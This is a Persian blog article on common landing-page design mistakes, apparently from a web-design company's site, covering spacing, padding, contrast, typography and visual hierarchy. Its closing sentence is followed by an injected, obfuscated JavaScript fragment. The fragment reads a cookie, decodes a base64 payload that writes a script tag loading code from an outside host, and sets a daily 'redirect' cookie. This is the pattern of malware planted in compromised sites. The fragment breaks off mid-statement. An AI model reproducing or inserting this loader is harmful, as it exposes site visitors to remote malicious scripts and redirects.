بدون دیدگاه
2021/01/17
454 بازدید

چند اشتباه نابخشودنی در طراحی صفحه لندینگ

آیا تا به حال به این فکر کرده‌اید که طراحی اشتباه یک صفحه لندینگ چه قدر می‌تواند کسب و کار شما را تحت تاثیر قرار دهد؟ روزانه هزاران کاربر از سرتاسر جهان، سایت‌هایی با کاربردها و عناوین مختلف می‌سازند. اما در اکثر موارد اشتباهاتی در طراحی صفحه لندینگ آن‌ها وجود دارد که نمیتوان انها را نادیده گرفت. این مقاله بر اساس بررسی انجام شده توسط تیم سایت tilda ، بر روی سایت‌هایی است که از پلتفرم آن‌ برای طراحی سایت استفاده کرده‌اند. در ادامه به تحلیل و بررسی این اشتباهات می‌پردازیم. 

محتوا در بخش‌های جداگانه قرار نگیرد

اگر بخش‌های متن در بلوک‌های جداگانه قرار گیرند، خوانایی آن برای کاربران بسیار آسان است. برای این کار، بهتر است که متن‌ها در بلوک‌های مجزا قرار داده شوند، فاصله‌ی بلوک‌ها از کناره‌ها به اندازه‌ی 120 * 180 پیکسل در نظر گرفته شود و ترجیحا پس زمینه رنگی شود. عکس پایین مثال خوبی از این اتفاق است.

 

قرار دادن فاصله‌ی نامناسب بین موارد موجود در صفحه

فواصلی با اندازه‌ی یکسان باید میان بخش‌های مختلف متن از قبیل پاراگراف‌ها، وجود داشته باشد. اگر این مورد رعایت نشود اجزای مختلف صفحه به گونه‌ای نامتقارن نمایش داده می‌شوند و در نتیجه توجه مخاطب را به اندازه‌ی کافی جلب نخواهد کرد.

 

فواصل در طراحی صفحه لندینگ

همان طور که در عکس بالا مشاهده می‌کنید، بین فضاهای مختلف فواصلی منطقی وجود دارد که می‌تواند به انتقال اطلاعات به کاربران کمک کند. وقتی که بین بخش‎‌‌های مختلف متن، فضاهایی با اندازه‌های مختلف قرار داشته باشد، این تصور را ایجاد می‌کند که اطلاعات پایین هر بخش به بالاترین عنوان صفحه مرتبط می‌شوند، هر چند که بلاک‌های محتوا دارای اهمیتی یکسان هستند.  

پدینگ (Padding) صفحه لندینگ کوچک باشد

پدینگ (Padding)، به معنی فاصله‌ی بالا یا پایین متن یا عکس تا لبه‌ی صفحه یا یک بخش مجزا است. برای اینکه اجزای مختلف متن با یکدیگر مخلوط نشوند، باید یک فاصله‌ی 120 پیکسل بین اجزای مختلف قرار داده شود.

اگر این مورد رعایت نشود، خواننده‌ی متن تصور می‌کند که تمام این بخش‌ها، به عنوان یک متن یکپارچه هستند. در عکس زیر، پدینگ به اندازه‌ی کافی بزرگ است، بنابراین فاصله‌‌ی بین دو بلاک متن کاملا قابل مشاهده است.

 

  طراحی سایت در هرمزگان | طراحی وب سایت در بندر عباس

پدینگ در طراحی صفحه لندینگ

قرار دادن متن با کنتراست پایین روی عکس

به طور کلی باید بین رنگ متن و پس‌زمینه‌ی آن کنتراست کافی وجود داشته باشد. با این کار متن بسیار برجسته‌تر می‌شود و کاربر را بیشتر تحت تاثیر قرار می‎‌دهد. برای رسیدن به هدف بهتر است، روکشی تیره روی عکس قرار دهید.

راه حل دیگر، استفاده از یک عکس با کنتراست بالا و قرار دادن متن روی آن است.

استفاده از متن با استایل متنوع

استفاده‌ی بیش از حد از تایپوگرافی متن و سبک‌های مختلف طراحی، در صفحه‌ی لندینگ سایت فروشگاهی، شرکتی یا حتی شخصی، نه تنها ظاهری غیرحرفه‌ای برای آن می‌سازد؛، بلکه خواندن متن را برای کاربر بسیار سخت می‌کند.

برای اجتناب از این اتفاق، بهتر است از یک نوع فونت با رنگ ثابت استفاده کنید و تنها دو سبک normal و bold را برای آن در نظر بگیرید.  

استفاده از بلوک‌های رنگی باریک

در صفحه‌ی لندینگ نباید عناصر رنگی و باریک قرار داشته باشد. این مورد به عنوان ایرادی رایج در طراحی صفحه فرود به شمار می‌آید. اگر می‌خواهید یک هدر رنگی در صفحه داشته باشید، بهتر است علاوه بر هدر، متن مرتبط را نیز زیر آن قرار دهید، هدر را bold کنید، پدینگ مناسب برای کل متن در نظر بگیرید و پس زمینه‌ی آن را رنگی کنید.

با این کار این بخش از صفحه را به طور کامل مجزا و برجسته کرده‌اید. وقتی هدر و متن مرتبط با آن، در یک پس‌زمینه با رنگ یکسان قرار می‌گیرد، به این معنی است که این دو بخش مفهومی یکسان دارند و مخاطب راحت‌تر با آن ارتباط برقرار خواهد کرد.

 

بلوک های رنگی در طراحی صفحه لندینگ

قرار دادن حجم زیاد متن در یک ستون

وقتی بخش زیادی متن در یک ستون باریک قرار می‌گیرد، خواندن متن بسیار مشکل می‌شود. زیرا کاربران برای خواندن آن باید به طور مداوم از یک خط به خط دیگر بروند.

برای رفع این مشکل بهتر است تعداد ستون‌ها را کم کنید و متن داخل آن‌ها را نیز کوتاه کنید. در غیر این صورت خوانندگان تمایلی به خواندن متن نخواهند داشت.

قرار دادن متن زیاد در مرکز صفحه

یکی از بهترین راه‌ها برای افزایش تمرکز کاربر بر روی یک مفهوم، قرار دادن متن در مرکز صفحه است. البته باید توجه داشته باشیم که حجم متن قرار گرفته در مرکز صفحه نباید زیاد باشد زیرا کاربر تمایلی به خواندن آن نخواهد داشت و اثرگذاری آن نیز کاهش خواهد یافت.

 

  آموزش نصب چند وردپرس روی یک دیتابیس

متن زیاد در صفحه لندینگ

قرار گرفتن متن بر روی یک بخش از تصویر

زمانیکه یک عکس با مفهومی مهم در صفحه قرار داده‌اید و می‌خواهید متنی مرتبط روی آن قرار گیرد، بهتر است بخش مهم عکس را دست نخورده نگه دارید و متن را روی بخشی دیگر از آن قرار دهید. در غیر این صورت خوانایی متن کاهش خواهد یافت و عکس نیز به خوبی دیده نمی‌شود.

 

نبود سلسله مراتب؛ اشتباهی رایج در صفحه لندینگ

حفظ سلسله مراتب بصری در صفحه فرود بسیار اهمیت دارد. یک ایراد در طراحی صفحه لندینگ رعایت نکردن مراتب ظاهری عناصر در صفحه است. به همین منظور، باید عنوان صفحه بزرگتر از بقیه‌ی اجزای صفحه باشد. در غیر این صورت، مابقی اجزای صفحه، بیشتر مورد توجه قرار می‌گیرند.

همین اصل باید در بلوک‌های متنی موجود در قسمت‌های مختلف صفحه نیز به کار رود. همان‌طور که گفتیم، عنوان باید بزرگ‌ترین بخش در صفحه باشد و بعد از آن زیرعنوان باید با فونتی کوچکتر قرار گیرد. در مرحله‌ی آخر، باید توضیحات زیر هر کدام از عنوان‌ها با کوچک‌ترین اندازه درج شوند.  

رعایت کردن این نکات کوچک می‌تواند به خواننده کمک کند تا بخش‌های بسیار مهم و مهم متن را تفکیک کند.

 

سلسله مراتب در صفحه لندینگ

تمام عناوین ذکر شده در این مقاله، اشتباهاتی هستند که بسیاری از افراد به هنگام طراحی صفحه فرود مرتکب می‌شوند. رعایت کردن همین نکات ظریف می‌تواند کیفیت طراحی صفحه لندینگ را بسیار تغییر دهد.{var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

*
*

شش − 2 =